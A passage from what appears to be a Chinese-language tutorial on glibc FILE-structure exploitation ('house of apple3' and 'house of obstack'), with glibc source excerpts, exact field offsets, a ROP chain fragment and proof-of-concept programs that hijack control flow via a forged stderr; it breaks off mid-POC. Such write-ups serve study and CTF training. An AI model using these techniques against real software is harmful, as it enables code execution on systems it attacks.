payload[17] = 0x100; // rdx = 0x100 read 0x100 bytes
payload[20] = (size_t) &payload[31]; // rsp -> fake stack
payload[21] = ret; // rip -> ret;

// rop
payload[31] = pop_rax_ret;
payload[32] = 2;
payload[33] = syscall_ret;
payload[34] = pop_rax_ret;
payload[35] = 0;
payload[36] = pop_rdi_ret;
payload[37] = 3;
payload[38] = pop_rsi_ret;
payload[39] = (size_t) buf;
payload[40] = syscall_ret;
payload[41] = pop_rax_ret;
payload[42] = 1;
payload[43] = pop_rdi_ret;
payload[44] = 1;
payload[45] = pop_rsi_ret;
payload[46] = (size_t) buf;
payload[47] = syscall_ret;

// __malloc_assert
size_t *top_chunk_addr = unsorted + 0x124;
top_chunk_addr[1] = 0;
malloc(0x500);

return 0;
}

house of apple3

前置条件

如果_wide_data设置不当的话会影响某些利用链的分支走向。但采用默认的_wide_data成员(默认会指向_IO_wide_data_2,除了_wide_vtable外其他成员均默认为0),也并不影响house of apple3的利用。因此,如果能伪造整个FILE结构体,则需要设置合适的_wide_data;如果只能伪部分FILE的成员的话,保持fp->_wide_data为默认地址即可。

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_codecvt,一般使用largebin attack去控制

原理

FILE结构体中有一个成员struct _IO_codecvt *_codecvt;,偏移为0x98。该结构体参与宽字符的转换工作,结构体相关定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};

typedef struct
{
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;

struct __gconv_step
{
struct __gconv_loaded_object *__shlib_handle; // 关注这个成员
const char *__modname;

/* For internal use by glibc. (Accesses to this member must occur
when the internal __gconv_lock mutex is acquired). */
int __counter;

char *__from_name;
char *__to_name;

__gconv_fct __fct;
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;

/* Information about the number of bytes needed or produced in this
step. This helps optimizing the buffer sizes. */
int __min_needed_from;
int __max_needed_from;
int __min_needed_to;
int __max_needed_to;

/* Flag whether this is a stateful encoding or not. */
int __stateful;

void *__data; /* Pointer to step-local data. */
};

struct __gconv_step_data
{
unsigned char *__outbuf; /* Output buffer for this step. */
unsigned char *__outbufend; /* Address of first byte after the output
buffer. */

/* Is this the last module in the chain. */
int __flags;

/* Counter for number of invocations of the module function for this
descriptor. */
int __invocation_counter;

/* Flag whether this is an internal use of the module (in the mb*towc*
and wc*tomb* functions) or regular with iconv(3). */
int __internal_use;

__mbstate_t *__statep;
__mbstate_t __state; /* This element must not be used directly by
any module; always use STATEP! */
};

house of apple3的利用主要关注三个函数:__libio_codecvt_in__libio_codecvt_out__libio_codecvt_length。三个函数的利用点都差不多。

__libio_codecvt_in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
const unsigned char **, const unsigned char *,
unsigned char **, size_t *, int, int);

#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
const char **from_stop,
wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
enum __codecvt_result result;
// gs 源自第一个参数
struct __gconv_step *gs = codecvt->__cd_in.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;

codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
// 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
// 这里如果可控,设置为NULL即可绕过解密
__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif
// 这里有函数指针调用
// 这个宏就是调用fct(gs, ...)
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));

*from_stop = (const char *) from_start_copy;
*to_stop = (wchar_t *) codecvt->__cd_in.step_data.__outbuf;

switch (status)
{
case __GCONV_OK:
case __GCONV_EMPTY_INPUT:
result = __codecvt_ok;
break;

case __GCONV_FULL_OUTPUT:
case __GCONV_INCOMPLETE_INPUT:
result = __codecvt_partial;
break;

default:
result = __codecvt_error;
break;
}

return result;
}

__libio_codecvt_out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
enum __codecvt_result
__libio_codecvt_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const wchar_t *from_start, const wchar_t *from_end,
const wchar_t **from_stop, char *to_start, char *to_end,
char **to_stop)
{
enum __codecvt_result result;

struct __gconv_step *gs = codecvt->__cd_out.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;

codecvt->__cd_out.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_out.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_out.step_data.__statep = statep;

__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif

status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_out.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));

*from_stop = (wchar_t *) from_start_copy;
*to_stop = (char *) codecvt->__cd_out.step_data.__outbuf;

switch (status)
{
case __GCONV_OK:
case __GCONV_EMPTY_INPUT:
result = __codecvt_ok;
break;

case __GCONV_FULL_OUTPUT:
case __GCONV_INCOMPLETE_INPUT:
result = __codecvt_partial;
break;

default:
result = __codecvt_error;
break;
}

return result;
}

__libio_codecvt_length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int
__libio_codecvt_length (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
size_t max)
{
int result;
const unsigned char *cp = (const unsigned char *) from_start;
wchar_t to_buf[max];
struct __gconv_step *gs = codecvt->__cd_in.step;
size_t dummy;

codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_buf;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) &to_buf[max];
codecvt->__cd_in.step_data.__statep = statep;

__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif

DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &cp,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));

result = cp - (const unsigned char *) from_start;

return result;
}

利用_IO_wfile_underflow函数控制程序执行流

相关配置

fp的设置如下:

  • _flags设置为~(4 | 0x10)
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_underflow即可
  • fp->_IO_read_ptr < fp->_IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数调用链

_IO_wfile_underflow->__libio_codecvt_in->DL_CALL_FCT(gs=fp->_codecvt->__cd_in.step)->*(gs ->__fct)(gs)

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base != NULL不进入调用。

详细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

cd = fp->_codecvt;

/* Maybe there is something left in the external buffer. */
// 最好不要进入这个分支
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;

/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;

// 最好不要进入这个分支
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;

// 需要调用到这里
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
//......
}

_IO_wfile_underflow又是_IO_wfile_jumps这个_IO_jump_t类型变量的成员函数。因此可以劫持或者伪造FILE结构体的fp->vtable_IO_wfile_jumpsfp->_codecvt为可控堆地址,当程序执行IO操作时,控制程序执行流走到_IO_wfile_underflow,设置好fp->codecvt->__cd_in结构体,使得最终调用到__libio_codecvt_in中的DL_CALL_FCT宏,伪造函数指针,进而控制程序执行流。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor() {
printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}

void main() {
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t) &puts;
printf("[*] puts address: %p\n", (void *) puts_addr);
size_t libc_base_addr = puts_addr - 0x702e0;
printf("[*] libc base address: %p\n", (void *) libc_base_addr);

size_t _IO_2_1_stderr_addr = libc_base_addr + 0x3b85e0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *) _IO_2_1_stderr_addr);

size_t _IO_wfile_jumps_addr = libc_base_addr + 0x3b3f40;
printf("[*] _IO_wfile_jumps address: %p\n", (void *) _IO_wfile_jumps_addr);

char *stderr2 = (char *) _IO_2_1_stderr_addr;
puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
*(size_t *) stderr2 = 0;

puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
*(size_t *) (stderr2 + 0x10) = (size_t) -1;

puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
*(size_t *) (stderr2 + 0xd8) = _IO_wfile_jumps_addr - 0x40;

puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
*(size_t *) (stderr2 + 0x98) = (size_t) p1;

puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
*(size_t *) p1 = (size_t) p2;

puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
*(size_t *) (p2 + 0x28) = (size_t) (&backdoor);

puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
fflush(stderr);

}

利用_IO_wfile_underflow_mmap函数控制程序执行流

相关配置

fp的设置如下:

  • _flags设置为~4
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为非0,即满足*(A + 0x30) != 0
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链

1
2
3
4
5
_IO_wfile_underflow_mmap
__libio_codecvt_in
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)

详细分析如下:
_IO_wfile_underflow_mmap函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

cd = fp->_codecvt;

/* Maybe there is something left in the external buffer. */
// 最好不要进入这个分支
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;

/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;

// 最好不要进入这个分支
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;

// 需要调用到这里
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
//......
}

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base != NULL不进入调用。

利用_IO_wdo_write函数控制程序执行流

_IO_wdo_write的调用点很多,这里我选择一个相对简单的链:

1
2
3
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write

相关配置

fp的设置如下:

  • vtable设置为_IO_file_jumps/地址(加减偏移),使其能成功调用_IO_new_file_sync即可
  • _IO_write_ptr > _IO_write_base,即满足*(fp + 0x28) > *(fp + 0x20)
  • _mode > 0,即满足(fp + 0xc0) > 0
  • _IO_write_end != _IO_write_ptr或者_IO_write_end == _IO_write_base,即满足*(fp + 0x30) != *(fp + 0x28)或者*(fp + 0x30) == *(fp + 0x20)
  • _wide_data设置为堆地址,假设地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_ptr >= _wide_data->_IO_write_base,即满足*(A + 0x20) >= *(A + 0x18)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_out.step设置为可控堆地址C,即满足*(B + 0x38) = C
  • codecvt->__cd_out.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_out.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链

1
2
3
4
5
6
7
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
__libio_codecvt_out
DL_CALL_FCT
gs = fp->_codecvt->__cd_out.step
*(gs->__fct)(gs)

详细分析如下:
首先看_IO_new_file_sync函数:

1
2
3
4
5
6
7
8
9
10
11
int
_IO_new_file_sync (FILE *fp)
{
ssize_t delta;
int retval = 0;

/* char* ptr = cur_ptr(); */
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;//调用到这里
//......
}

只需要满足fp->_IO_write_ptr > fp->_IO_write_base

然后看_IO_do_flush宏:

1
2
3
4
5
6
7
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))

根据fp->_mode的值选择调用_IO_do_write或者_IO_wdo_write。这里我们要调用后者,必须使fp->_mode > 0。此时的第二个参数为fp->_wide_data->_IO_write_base,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base

接着看_IO_wdo_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
struct _IO_codecvt *cc = fp->_codecvt;

// 第三个参数必须要大于0
if (to_do > 0)
{
if (fp->_IO_write_end == fp->_IO_write_ptr
&& fp->_IO_write_end != fp->_IO_write_base)
{// 不能进入这个分支
if (_IO_new_do_write (fp, fp->_IO_write_base,
fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
return WEOF;
}

// ......

/* Now convert from the internal format into the external buffer. */
// 需要调用到这里
result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
data, data + to_do, &new_data,
write_ptr,
buf_end,
&write_ptr);
//......
}
}

首先to_do必须要大于0,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base

这个链基本需要控制fp->_wide_data,相比上两条链的约束条件要更多一点。

使用_IO_wfile_sync函数控制程序执行流

相关配置

fp的设置如下:

  • _flags设置为~(4 | 0x10)
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_sync即可
  • _wide_data设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_ptr <= _wide_data->_IO_write_base,即满足*(A + 0x20) <= *(A + 0x18)
  • _wide_data->_IO_read_ptr != _wide_data->_IO_read_end,即满足*A != *(A + 8)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__stateful设置为非0,即满足*(B + 0x58) != 0
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果rsi&codecvt->__cd_in.step_data可控。

函数的调用链:

1
2
3
4
5
_IO_wfile_sync
__libio_codecvt_length
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)

详细分析如下:
直接看_IO_wfile_sync函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
wint_t
_IO_wfile_sync (FILE *fp)
{
ssize_t delta;
wint_t retval = 0;

/* char* ptr = cur_ptr(); */
// 不要进入这个分支
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if (_IO_do_flush (fp))
return WEOF;
delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end;
// 需要进入到这个分支
if (delta != 0)
{
/* We have to find out how many bytes we have to go back in the
external buffer. */
struct _IO_codecvt *cv = fp->_codecvt;
off64_t new_pos;

// 这里直接返回-1即可
int clen = __libio_codecvt_encoding (cv);

if (clen > 0)
/* It is easy, a fixed number of input bytes are used for each
wide character. */
delta *= clen;
else
{
/* We have to find out the hard way how much to back off.
To do this we determine how much input we needed to
generate the wide characters up to the current reading
position. */
int nread;
size_t wnread = (fp->_wide_data->_IO_read_ptr
- fp->_wide_data->_IO_read_base);
fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state;
// 调用到这里
nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state,
fp->_IO_read_base,
fp->_IO_read_end, wnread);
// ......

}
}
}

需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_basefp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0

然后看下__libio_codecvt_encoding函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
__libio_codecvt_encoding (struct _IO_codecvt *codecvt)
{
/* See whether the encoding is stateful. */
if (codecvt->__cd_in.step->__stateful)
return -1;
/* Fortunately not. Now determine the input bytes for the conversion
necessary for each wide character. */
if (codecvt->__cd_in.step->__min_needed_from
!= codecvt->__cd_in.step->__max_needed_from)
/* Not a constant value. */
return 0;

return codecvt->__cd_in.step->__min_needed_from;
}

直接设置fp->codecvt->__cd_in.step->__stateful != 0即可返回-1

house of obstack

原理

这个攻击手段主要是利用_IO_obstack_jumps,其中_IO_obstack_overflow_IO_obstack_xsputn 都可以触发,攻击链如下。

1
2
3
4
5
_IO_obstack_overflow
obstack_1grow (obstack, c);
_obstack_newchunk (__o, 1);
new_chunk = CALL_CHUNKFUN (h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
1
2
3
4
5
_IO_obstack_xsputn
obstack_grow (obstack, data, n);
_obstack_newchunk (__o, __len);
new_chunk = CALL_CHUNKFUN (h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))

但实际过程中_IO_obstack_overflow容易触发assert (c != EOF); ,所以一般选择第二条链。

_IO_obstack_jumps中只有2个函数有赋值,其他都为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};

_IO_obstack_overflow_IO_obstack_xsputn两个函数内容如下。为了避免绕过_IO_obstack_overflow中的assert (c != EOF);我们一般用_IO_obstack_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int _IO_obstack_overflow (FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;

/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF); // 此处不可控
obstack_1grow (obstack, c);

/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);

return c;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;

/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n); //执行此函数

/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

return n;
}

函数中的_IO_obstack_file只是在_IO_FILE_plus后面加了一个obstack的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};

struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};

简单绕过一些内容后用运行到obstack_grow处,来调用_obstack_newchunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        obstack_grow(obstack, data, n);
//定义:
# define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
//替换:
({
struct obstack *__o = (obstack);
int __len = (n);
if (__o->next_free + __len > __o->chunk_limit)
_obstack_newchunk(__o, __len);
memcpy(__o->next_free, data, __len);
__o->next_free += __len;
(void) 0;
});

之后触发CALL_CHUNKFUN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void _obstack_newchunk(struct obstack *h, int length) {
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN(h, new_size); // 调用函数位置
...
}

CALL_CHUNKFUN宏实际上是使用了结构体中的指针(*(h)->chunkfun)((h)->extra_arg, (size)),并且第一个参数可控,同时需要保证(((h)->use_extra_arg)1

1
2
3
4
5
6
7
8
9
10
new_chunk = CALL_CHUNKFUN(h, new_size);
定义:
#define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk * (*) (long) )(h)->chunkfun)((size)))
替换:
(((h)->use_extra_arg)
? (*(h)->chunkfun)((h)->extra_arg, (new_size))
: (*(struct _obstack_chunk *(*) (long) )(h)->chunkfun)((new_size)))

因此可以按下图所示方法构造:

obstack

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
//leak libc_base
size_t puts_addr = (size_t) &puts;
size_t libc_base = puts_addr - 0x77040;

// large bin attack: _IO_list_all -> large
